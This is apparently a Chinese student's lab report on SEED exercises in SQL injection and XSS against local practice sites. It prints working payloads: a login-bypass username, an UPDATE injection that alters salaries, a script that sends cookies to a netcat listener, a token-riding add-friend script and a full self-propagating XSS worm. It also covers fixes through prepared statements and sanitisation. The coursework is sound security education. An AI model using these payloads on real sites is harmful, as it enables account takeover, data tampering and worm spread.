20232827 2023-2024-2 《网络攻防实践》实践十报告
1.实践内容
一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 http://www.seedlabsqlinjection.com/。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
- 熟悉SQL语句:我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
- 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
- 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
- SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
-
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
-
弹窗显示cookie信息:将cookie信息显示。
-
窃取受害者的cookies:将cookie发送给攻击者。
-
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
-
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
-
编写XSS蠕虫。
-
对抗XSS攻击。
2.实践过程
本次实验在SEEDUbuntu下进行,在之前下载好的那个做就可以。
2.1SEED SQL注入攻击与防御实验
2.1.1 基础知识
SQL注入攻击是一种常见的网络安全威胁,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,试图绕过安全措施并对数据库进行未授权的访问、篡改或破坏。为防止此类攻击,应采取预处理语句、输入验证、最小化数据库权限等多种防御措施,确保用户输入数据的安全性和可靠性,从而保护数据库的安全和完整性。
2.1.2 熟悉SQL语句
1、先修改主机名为学号姓名,输入以下语句 重开终端
sudo hostnamectl set-hostname 新主机名
2、在SEED Ubuntu中输入以下命令打开数据库
mysql -u root -p
3、输入以下命令查看数据表,读取数据表中的字段
use Users
show tables
select * from credential
2.1.3 对SELECT语句的SQL注入攻击
1、访问http://www.seedlabsqlinjection.com/,随意输入用户名和密码
2、单击“F12” 选择“Network”,然后刷新网页,可以发现GET请求
3、检查unsafe_home.php的相关代码,在终端中使用以下命令
vim /var/www/SQLInjection/unsafe_home.php
4、要注入的SQL查询为
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd';
5、输入的用户名为“Admin’#”时,则SQL查询变为:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin'#' and Password='$hashed_pwd';
6、所以,输入用户名Admin’# 可以进入管理员页面
2.1.4对UPDATE语句的SQL注入攻击
1、接着上一步,登录Alice的账户,输入账户名Alice’#
2、单击“F12”——“Network”,然后单击“Edit Profile”然后点“Save”
这里的Edit Profile是在界面上方
3、在终端中输入以下命令查看对应的代码
vim /var/www/SQLInjection/unsafe_edit_backend.php
注意是小写的www
4、我们要注入的SQL语句为:
UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
5、在 NickName 一栏输入’, salary=‘10000’ where Name=‘Alice’;#,则SQL查询变为:
UPDATE credential SET nickname='', salary='10000' where Name='Alice';#,email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
成功修改Alice的工资金额为10000
6、同样的方式,可以修改其他人的工资、密码等。
2.1.5 SQL对抗
修复上述SQL注入攻击漏洞。
我们可以观察php文件的源代码,可以发现,它们对SQL语句的数据和命令的判定并没有分开,而是混在一起,而数据库无法分清楚,这段SQL语句中哪段是用用户的数据,哪段又是SQL的命令。这就造成了SQL注入的发生,因此,我们用php语言中的bind_param方法来绑定参数,并用?来代替参数,这样就能修复SQL注入攻击漏洞。
对select的修复如下,我们需要使用以下代码替换掉SQL部分的代码,或者直接在上面修改即可:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
再次登录,发现失败,修复成功
对update的修复内容
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
再次修改后,点击Save后,一直卡在空白页面,可以发现Update对数据库的修改失败。
2.2 SEED XSS跨站脚本攻击实验
2.2.1 基础知识
跨站脚本攻击(Cross-Site Scripting,XSS)是一种常见的网络安全漏洞,攻击者利用这种漏洞向网页中注入恶意脚本代码,当用户访问受影响的网页时,这些恶意脚本就会在用户的浏览器中执行。这种攻击常见于web应用程序中,其危害包括窃取用户的会话cookie、篡改网页内容、执行恶意操作等。跨站脚本攻击通常分为存储型XSS和反射型XSS两种类型。存储型XSS发生在攻击者将恶意脚本代码上传到目标网站的数据库中的情况下,而反射型XSS则是通过向用户发送包含恶意脚本的链接来实现的。为了防止跨站脚本攻击,开发者可以采取严格的输入验证、对用户输入进行转义处理、设置Content-Security-Policy(CSP)策略以及进行定期的安全审计和漏洞扫描等措施来提高网站的安全性。
2.2.2 发布恶意消息,显示警报窗口
1、访问http://www.xsslabelgg.com/,用户名为Alice,密码为seedalice
2、点击“Alice”——“Edit Profile”,然后在“Brief description”中输入以下代码,点击“save”
<script>alert("xss");</script>
3、使用Boby的身份登录该系统,点击“More”——“Members”,则也会看到xss的弹窗
2.2.3 弹窗显示 cookie 信息
1、还是之前的操作,在“Brief description”中输入以下代码,点击“save”,变为弹窗显示cookie信息。
<script> alert(document.cookie);</script>
2.2.4 窃取受害者的 cookies
1、还是之前的操作,在“Brief description”中输入以下代码,点击“save”。
<script>
document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>');
</script>
2、开启终端并输入以下命令监听5555端口
nc -l 5555 -v
以后每次访问Alice的主页,都会收到相应的cookie.
2.2.5 成为受害者的朋友
进入个人主页Boby:www.xsslabelgg.com/profile/boby
在好友的个人主页,按下F12,打开开发者工具,然后切换到Network选项卡。
点击“Add friend”,捕捉到一条请求。
得到它的URL请求
为了添加其他好友,构造下面的payload:
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
在About me中输入:
切换到Samy账户,Samy此时并没有任何一个好友
此时访问Alice的主页,发现Samy自动添加了Alice为好友,Alice自己与自己也添加了好友
实验成功。
2.2.6 编写 XSS 蠕虫
代码蠕虫如下:
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>Hacked by XSS WORM !!!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
将这个蠕虫代码设为Alice的About me中的信息,保存。如果好友Boby访问了Alice的主页,就会感染xss蠕虫,访问了被感染者的主页,也会被感染。
2.2.7 对抗 XSS 攻击
对抗跨站脚本攻击(XSS)的有效措施包括:
-
输入验证和过滤:对用户输入进行严格的验证和过滤,确保只允许合法的数据输入。可以使用白名单验证来限制输入的内容,过滤掉潜在的恶意脚本代码。
-
数据转义:对输出到网页上的所有用户输入数据进行适当的转义处理,将特殊字符转换为对应的HTML实体,这样即使用户输入了恶意的脚本代码,也不会被浏览器解析执行。
-
HTTP头设置:使用Content-Security-Policy(CSP)头部来限制网页可以加载的资源类型和来源。可以通过设置CSP策略来阻止执行内联脚本和外部脚本等,从而有效减少XSS攻击的风险。
-
使用安全的开发框架和库:选择使用安全性高、经过广泛测试和审查的开发框架和库,这些工具通常会提供内置的安全防护机制,如自动转义用户输入等功能。
-
HTTPS连接:使用HTTPS协议来加密数据传输,防止中间人攻击和数据篡改,从而保护用户数据的安全性。
-
定期安全审计:对网站进行定期的安全审计和漏洞扫描,及时发现并修复可能存在的安全漏洞和弱点。
-
教育和培训:对开发人员和网站管理员进行安全意识培训,提高他们对XSS攻击的认识和理解,并教导他们如何编写安全的代码和配置安全的服务器环境。
综合运用以上措施可以有效降低网站受到XSS攻击的风险,保护用户数据的安全性和隐私。
这里我们用Web网页内部的HTMLawed进行对抗攻击。
首先登录管理员账户Admin,从Account进入Administration管理员界面。
点击Plugins
点击Activate,将HTMLawed激活
重新让Samy访问Alice,发现无法进行主页修改。
成功。
3.学习中遇到的问题及解决
- 问题1:Ubuntu里面没网
- 问题1解决方案:改为NAT模式,然后重启
- 问题2:Ubuntu里不能复制粘贴
- 问题2解决方案:在csdn里找了个帖子 下vmtools
4.实践总结
-
在本次实践中,亲自尝试了一次XSS攻击和SQL注入攻击。在SQL注入攻击方面,我了解到了SELECT和UPDATE语句的注入技术,以及如何利用这些漏洞绕过身份验证、获取敏感信息或篡改数据。
-
在XSS跨站脚本攻击实验中,我意识到了XSS漏洞对用户数据和隐私的严重威胁,以及攻击者可以利用XSS漏洞实施的各种恶意行为。
-
通过这些实验,我不仅提高了对SQL注入和XSS攻击的认识和理解,还学会了一些实用的安全防护技术和措施。
参考资料
- https://blog.csdn.net/u013782446/article/details/138909307
- https://blog.csdn.net/qq_53198713/article/details/138853881?spm=1001.2014.3001.5502